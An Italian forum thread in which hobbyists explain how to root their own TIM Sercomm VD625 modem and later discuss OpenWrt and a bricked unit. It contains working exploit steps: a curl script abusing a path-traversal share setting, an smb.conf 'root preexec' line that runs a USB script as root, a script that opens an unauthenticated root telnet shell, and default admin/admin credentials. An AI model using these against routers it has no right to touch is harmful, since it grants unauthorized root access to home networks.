Hardware e Software > Connessioni ADSL/VDSL/FTTC
[GUIDA] Root e Modding Smart Modem Sercomm VD625 AGSOT
kyokusei:
Salve a tutti,
sto cercando di fare il root del modem. Queste sono le info del firmware installato:
--- Citazione ---Name of device: AGCOMBO
DSL version: A2pv6F039u.d26a
Firmware version: AGSOT_2.2.0
Bootloader Version: 1.04.0
Hardware Type & Version: V01
--- Termina citazione ---
Ho provato a seguire le istruzioni, nello specifico ho creato il file runme:
--- Citazione ---#!/bin/sh
exec > /mnt/shares/FlashDrive/Partition1/it_worked 2>&1
set -x
ps
date
iptables -D INPUT -i ! br0 -p tcp --dport 7777 -j DROP >/dev/null 2>&1
iptables -I INPUT -i ! br0 -p tcp --dport 7777 -j DROP
/bin/telnetd -F -p 7777 -l /bin/sh&
--- Termina citazione ---
Ho usato l'etichetta FlashDrive perché ho visto che così veniva riconosciuta la chiavetta quando viene montata nel samba o anche nella GUI.
Ho inserito la chiavetta, ho preso le informazione dei cookie con firefox, l'ho inserite nel file headers:
--- Citazione ---GET /data/overview.json?_=1707425220519&csrf_token=HK23419CC9JW4FE34E10 HTTP/1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://192.168.2.1/overview.html
Cookie: session_id=23419CC94FE34E1074636E0B; username=admin
--- Termina citazione ---
Ho lanciato lo script, che mi ha restituito:
--- Citazione ---Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 192.168.2.1:80...
* Connected to 192.168.2.1 (192.168.2.1) port 80
> POST /data/settings_content_sharing_device.json?_=1581445756953&csrf_token=HK23419CC9JW4FE34E10 HTTP/1.1
> Host: 192.168.2.1
> User-Agent: curl/8.5.0
> Accept: */*
> Cookie: session_id=23419CC94FE34E1074636E0B; username=admin
> Content-Length: 220
> Content-Type: application/x-www-form-urlencoded
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
HTTP/1.0 200 OK
< Content-Type: text/html
Content-Type: text/html
< X-Content-Type-Options: nosniff
X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
X-Frame-Options: SAMEORIGIN
< X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; mode=block
< X-XSS-Protection: 1; report=http://www.example.com/xss
X-XSS-Protection: 1; report=http://www.example.com/xss
<
* Closing connection
[ ]HTTP/1.0 200 OK
Content-Type: text/html
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=http://www.example.com/xss
[ { "network_sharing_enable": "1" } ]HTTP/1.0 200 OK
Content-Type: text/html
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=http://www.example.com/xss
[ { "device_id": "1", "device_name": "FlashDrive", "lanip": "192.168.2.1", "root_folder": "\/", "ns_content_sharing_enable": "1", "ns_require_username_password": "0", "ns_user_id": "1", "ns_share_all_folders": "1", "ns_share_folder_data": "", "dlna_sharing_enable": "", "dlna_share_all_folders": "", "dlna_share_folder_data": "" } ]
--- Termina citazione ---
Ho provato quindi ad entrare nella condivisione per cercare il file, ma nella directory \\192.168.2.1\FlashDrive\Partition1 non ho trovato nulla se non il runme.
Sto usando Windows 7.
Cosa sto sbagliando?
Andava fatto dell'altro?
kyokusei:
A quanto pare con questa versione di firmware è necessario solamente fare un reset per sbloccare le altre funzionalità, staccati dalla rete TIM.
Speravo di poter utilizzare la porta WAN per attaccarla ad un altro router in tandem, ma a quanto pare non funziona (credo problemi di protocollo, nonostante abbia provato sia DHCP che Static IP), alla fine ho risolto sfruttando una porta LAN attaccata al router padre, così almeno funziona da AP, anche se avrei preferito usare la WAN e creare una seconda sottorete.
STOURA007:
--- Citazione da: fmiz - 12 Febbraio 2020, 00:46 ---Mi scuso per il post disordinato, però credo che questo "riassunto" sia utile.
Confermo che funziona anche con la versione 2.1.0 del firmware per AGSOT, però ci vuole molta pazienza. Andreyo suggerisce una parte degli aggiustamenti da fare.
La penna usb nel mio caso viene chiamata DataTraveler210, non USB2FlashStorage, questo nome va sostituito in più punti:
va aggiustata la seconda riga con il nome giusto, nel mio caso diventa:
--- Codice: ---exec > /mnt/shares/DataTraveler210/Partition1/it_worked 2>&1
--- Termina codice ---
poi va aggiustato il finale del file smb.conf:
--- Codice: ---[...]
[Partition1]
follow symlinks = yes
wide links = no
path=/mnt/shares
security = share
writeable = yes
root preexec = /bin/sh -c "/mnt/shares/DataTraveler210/Partition1/runme > /tmp/aaaaaa"
guest account = admin
--- Termina codice ---
Inoltre il fatto che la procedura POST ritorni 200 non è detto che sia buono, ed è stato il fatto più rognoso di tutti, a me tornava 200 ... sulla pagina di login, esempio:
--- Codice: ---HTTP/1.0 200 OK
Content-Type: text/html
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=http://www.example.com/xss
<script> top.location.href="/login.html"; </script>
--- Termina codice ---
Qui status code è 200, però la riga finale a occhio dice che mi ha rimandato al login, quindi :headbang:
Qui c'è il campo minato.
La mia soluzione è passare via curl anche un po' di cookie validi, presi da una sessione già aperta in un browser, oltre al CSRF giusto. Ho scritto uno script un po' bruttino in bash:
--- Codice: ---function produce() {
cat headers
}
COOKIE=$(produce | grep Cookie)
CSRF=$(produce | grep GET | cut -d'=' -f3 | cut -d' ' -f1)
curl -v -H "${COOKIE}" -X POST -i 'http://192.168.1.1/data/settings_content_sharing_device.json?_=1581445756953&csrf_token='$CSRF --data 'sharing_device=[{"device_id":"1","root_folder":"/","ns_content_sharing_enable":"1","ns_require_username_password":"0","ns_user_id":"1","ns_share_all_folders":"0","ns_share_folder_data":"1|root|../../../:0|Partition1|:"}]'
curl -H "${COOKIE}" -i 'http://192.168.1.1/data/settings_network_sharing.json?_=1581445756953&csrf_token='$CSRF
curl -H "${COOKIE}" -i 'http://192.168.1.1/data/settings_content_sharing_device.json?_=1581445756953&csrf_token='$CSRF
--- Termina codice ---
Adesso va creato un file chiamato headers nella stessa cartella che contiene questo script, dove salvare i cookie, tra l'altro è necessario pure fare veloce altrimenti i dati vengono invalidati (equivale a fare un nuovo login). Questa è la strategia: con chrome accedo alla pagina di configurazione del router, scelgo una pagina a caso (Settings) poi dagli strumenti per sviluppatori nella scheda network, filtro con stringa "json" e poi prendo uno dei risultati, click destro, copy, copy request headers, ottengo per esempio:
--- Codice: ---GET /data/settings_password.json?_=1581463574502&csrf_token=HK51CB4002JW08D7F053 HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Referer: http://192.168.1.1/settings.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,it;q=0.8,it-IT;q=0.7
Cookie: Session=0; username=admin; login_uid=0.6490536267857148; session_id=51CB400208D7F05371DF2A3B
--- Termina codice ---
Tutte le vie sono lecite per creare il file, a me piace fare
--- Codice: ---cat <<EOF > headers
<ora incollare!>
EOF
--- Termina codice ---
Questo è un esempio di una richiesta GET che va a buon fine, fatta su http://192.168.1.1/data/settings_network_sharing.json, che ritorna lo stato del servizio di condivisione (l'ultima riga è quella che conta):
--- Codice: ---HTTP/1.0 200 OK
Content-Type: text/html
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=http://www.example.com/xss
[ { "network_sharing_enable": "1" } ]
--- Termina codice ---
Lo script non fa solo la richiesta POST, ci ho aggiunto anche due GET come controllino, per essere sicuro che la procedura funzioni. Ci sono arrivato parecchio per gradi.
Altra mina da schivare: windows 10 ha bloccato la condivisione file e cartelle con protocollo antico, che è esattamente quella che usa il firmware del router, quindi o si riattiva il supporto alle vecchie versioni del protocollo CIFS o samba o quel che è, oppure occorre linux, io ho usato una macchina virtuale, non so se WSL è sufficiente.
Se non bastasse, c'è un'altra mina ancora: pure le utility di linux nelle versioni recenti disattivano la versione antica di condivisione file e cartelle. Io ho trovato utile usare smbclient per vedere se compariva la nuova cartella condivisa:
--- Codice: ---smbclient -m NT1 --option='client min protocol = CORE' -U admin%admin -L 192.168.1.1
--- Termina codice ---
(qui la mina è che -m NT1 non basta, serve anche --option.....)
dopo aver avuto successo con curl ritorna
--- Codice: ---
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (ModemTIM File-Server)
Partition1 Disk
root Disk
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
MODEMTIM MODEMTIM
--- Termina codice ---
Come si vede, ci sono 2 cartelle condivise dal modem, root e Partition1 (la penna usb). Per montare invece basta specificare vers=1.0, esempio:
--- Codice: --- mount -t cifs //192.168.1.1/root /mnt/timroot -o user=admin,pass=admin,vers=1.0
--- Termina codice ---
Una volta montata la partizione root via cifs il difficile è passato. Si procede come da istruzioni originali di xMase, con una cautela, il file /tmp/samba/smb.conf non è scrivibile, ma si può cancellare, e poi si può copiare la versione dalla penna usb, che si troverà in (mio caso) /mnt/shares/DataTraveler210/........
A questo punto mi è bastato smontare e rimontare la cartella condivisa della penna usb, ho fatto un ciclo while in uno script senza tanti complimenti, ed è partito telnet.
Devo dire che a questo punto però non so che farci :rotfl:
Buonasera @ftp21 ,
ho caricato qui il backup della mia configurazione. https://filebin.net/oc6e0r9v8xzgzb76
Come hai capito che bisogna guardare in libfwutil.so?
--- Termina citazione ---
mount -t cifs //192.168.1.1/root /mnt/timroot -o user=admin,pass=admin,vers=1.0
after mounting , i cant't edit , can't delete , can't replace the smb file
Moroboshi_84:
Salve a tutti,
ho alcune domande da fare, prima di rendere il router un mattoncino...
queste sono le informazioni di sistema:
--- Citazione ---Name of device: AGCOMBO
DSL version: A2pv6F039u.d26a
Serial Number: %R045771320N091712E734
Firmware version: AGSOT_2.2.0
Bootloader Version: 1.04.0
Hardware Type & Version: V01
Date & Time: 01.01.2013 04:02:43
--- Termina citazione ---
Staccandolo dalla rete, ho attivato la sezione Configurazione Estesa, che dà accesso all'aggiornamento del firmware e la possibilità di configurare la connessione all'ISP.
Vi chiedo che vantaggi ci sono a portarlo ad OpenWrt, nel wiki del dispositivo, non riesco a capire quali funzionalità standard di OpenWrt non sono disponibili per questo dispositivo e nella versione con firmware proprietario quali caratteristiche sono state castrate.
E non riesco neppure a capire come inserire il firmware di OpenWrt... devo passare prima da quello dell'OEM messo a disposizione e poi aggiornarlo con l'altro?
zip00:
@Moroboshi_84 se si riuscisse ad installare openwrt puro sicuramente si perderebbero il modem e le porte fsx, probabilmente anche il WiFi, sicuramente la sezione 5ghz.
Dato che mi serviva uno switch gigabit ho provato a flashare il fw Vodafone spagnolo nella speranza di poter poi inserire openwrt puro. Ho usato lo script sercomm su github ma l'operazione non è andata a buon fine. Ho provato quindi con la seriale ma purtroppo il bootloader proprietario non consente il break del boot.
Ora va sempre in download mode e non c'è verso di flasharlo, neanche con l'immagine Tim. Ci vorrebbe il bin ma non so dove trovarlo
Navigazione
[0] Indice dei post
Vai alla versione completa